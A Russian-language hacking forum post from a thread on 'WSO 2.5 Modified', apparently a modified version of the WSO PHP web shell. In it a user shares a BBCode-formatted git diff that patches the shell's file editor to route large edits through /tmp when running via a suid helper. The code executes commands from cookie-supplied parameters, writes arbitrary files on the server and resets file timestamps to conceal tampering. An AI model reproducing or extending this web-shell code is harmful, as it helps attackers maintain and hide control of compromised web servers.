Тема: WSO 2.5 Modified
Показать сообщение отдельно

  #100  
Старый 09.01.2013, 04:01
Jer1cho
Участник форума
Регистрация: 06.06.2008
Сообщений: 162
Провел на форуме:
3942177

Репутация: 244
По умолчанию

Цитата:
Сообщение от tmp  
А файлы редактировать можешь? Исправлял в исходнике яваскрипт? Там ошибка, в оригинальном файле.
Проблема в том, что к suid'нику передается сильно длинный параметр. И запрос выдает "Argument list too long".

Решение которое пришло первым в голову (на сколько стабильно работает не знаю):

PHP код:
[COLOR="#000000"][COLOR="#0000BB"]
diff[/COLOR][COLOR="#007700"]--[/COLOR][COLOR="#0000BB"]git a[/COLOR][COLOR="#007700"]/var/[/COLOR][COLOR="#0000BB"]www[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]orig[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php b[/COLOR][COLOR="#007700"]/var/[/COLOR][COLOR="#0000BB"]www[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]mod[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php

index eb36bb8
[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"].0aebf2c 100644

[/COLOR][COLOR="#007700"]---[/COLOR][COLOR="#0000BB"]a[/COLOR][COLOR="#007700"]/var/[/COLOR][COLOR="#0000BB"]www[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]orig[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php

[/COLOR][COLOR="#007700"]+++[/COLOR][COLOR="#0000BB"]b[/COLOR][COLOR="#007700"]/var/[/COLOR][COLOR="#0000BB"]www[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]mod[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php

[/COLOR][COLOR="#007700"]@@ -[/COLOR][COLOR="#0000BB"]104[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]6[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]104[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]13[/COLOR][COLOR="#007700"]@@ if([/COLOR][COLOR="#0000BB"]get_magic_quotes_gpc[/COLOR][COLOR="#007700"]()) {





if
(!empty([/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]md5[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_HOST'[/COLOR][COLOR="#007700"]]).[/COLOR][COLOR="#DD0000"]'sname'[/COLOR][COLOR="#007700"]]) && !empty([/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]md5[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_HOST'[/COLOR][COLOR="#007700"]]).[/COLOR][COLOR="#DD0000"]'spass'[/COLOR][COLOR="#007700"]]) &&[/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]md5[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_HOST'[/COLOR][COLOR="#007700"]]).[/COLOR][COLOR="#DD0000"]'sname'[/COLOR][COLOR="#007700"]] !=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"]&& ![/COLOR][COLOR="#0000BB"]defined[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'suid'[/COLOR][COLOR="#007700"])) {

+if([/
COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'p2'[/COLOR][COLOR="#007700"]] ==[/COLOR][COLOR="#DD0000"]'edit'[/COLOR][COLOR="#007700"]&& !empty([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'p3'[/COLOR][COLOR="#007700"]])){

+[/
COLOR][COLOR="#0000BB"]$tmp_path[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'/tmp/'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]str_shuffle[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'0123456789abcdefghijklmnopqrstuvwxyz'[/COLOR][COLOR="#007700"]);

+

+[/
COLOR][COLOR="#0000BB"]file_put_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$tmp_path[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'p3'[/COLOR][COLOR="#007700"]]) or die([/COLOR][COLOR="#DD0000"]'/tmp/ isn\'t writable.'[/COLOR][COLOR="#007700"]);

+

+[/
COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'p3'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]$tmp_path[/COLOR][COLOR="#007700"];

+}



echo
[/COLOR][COLOR="#0000BB"]wsoEx[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]md5[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_HOST'[/COLOR][COLOR="#007700"]]).[/COLOR][COLOR="#DD0000"]'sname'[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]' '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]md5[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_HOST'[/COLOR][COLOR="#007700"]]).[/COLOR][COLOR="#DD0000"]'spass'[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]' "'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]md5[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_HOST'[/COLOR][COLOR="#007700"]]).[/COLOR][COLOR="#DD0000"]'sphp'[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]' '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'SCRIPT_FILENAME'[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]' \''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]addslashes[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_COOKIE[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]md5[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_SERVER[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'HTTP_HOST'[/COLOR][COLOR="#007700"]])]).[/COLOR][COLOR="#DD0000"]'\' '[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'\''[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]base64_encode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]serialize[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$GLOBALS[/COLOR][COLOR="#007700"])).[/COLOR][COLOR="#DD0000"]'\'"'[/COLOR][COLOR="#007700"]);



@@ -[/COLOR][COLOR="#0000BB"]963[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]13[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]970[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]14[/COLOR][COLOR="#007700"]@@ function[/COLOR][COLOR="#0000BB"]actionFilesTools[/COLOR][COLOR="#007700"]() {

echo[/COLOR][COLOR="#DD0000"]'File isn\'t writeable'[/COLOR][COLOR="#007700"];

break;

}

+

if( !empty([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'p3'[/COLOR][COLOR="#007700"]]) ) {

[/
COLOR][COLOR="#0000BB"]$time[/COLOR][COLOR="#007700"]= @[/COLOR][COLOR="#0000BB"]filemtime[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'p1'[/COLOR][COLOR="#007700"]]);

-[/
COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'p3'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'p3'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]);

[/
COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"]= @[/COLOR][COLOR="#0000BB"]fopen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'p1'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#DD0000"]"w"[/COLOR][COLOR="#007700"]);

if([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"]) {

-
@[/COLOR][COLOR="#0000BB"]fwrite[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'p3'[/COLOR][COLOR="#007700"]]);

+
@[/COLOR][COLOR="#0000BB"]fwrite[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"](([/COLOR][COLOR="#0000BB"]defined[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'suid'[/COLOR][COLOR="#007700"]) ?[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'p3'[/COLOR][COLOR="#007700"]]) :[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'p3'[/COLOR][COLOR="#007700"]]),[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]));

@[/COLOR][COLOR="#0000BB"]fclose[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$fp[/COLOR][COLOR="#007700"]);

+
if([/COLOR][COLOR="#0000BB"]defined[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'suid'[/COLOR][COLOR="#007700"])) @[/COLOR][COLOR="#0000BB"]unlink[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'p3'[/COLOR][COLOR="#007700"]]);

echo[/COLOR][COLOR="#DD0000"]'Saved!
p3_="";'
[/COLOR][COLOR="#007700"];

@[/COLOR][COLOR="#0000BB"]touch[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'p1'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$time[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$time[/COLOR][COLOR="#007700"]);

}

[/
COLOR][/COLOR
https://gist.github.com/c52be259912a3123b2f1

Естественно нужны права на запись в /tmp/, можно было и иначе, просто переносить из /tmp/ используя mv, но делать лень.

Еще как вариант можно разделять запросы на части, но это будет сильно затратно в плане выделения памяти.
 
Ответить с цитированием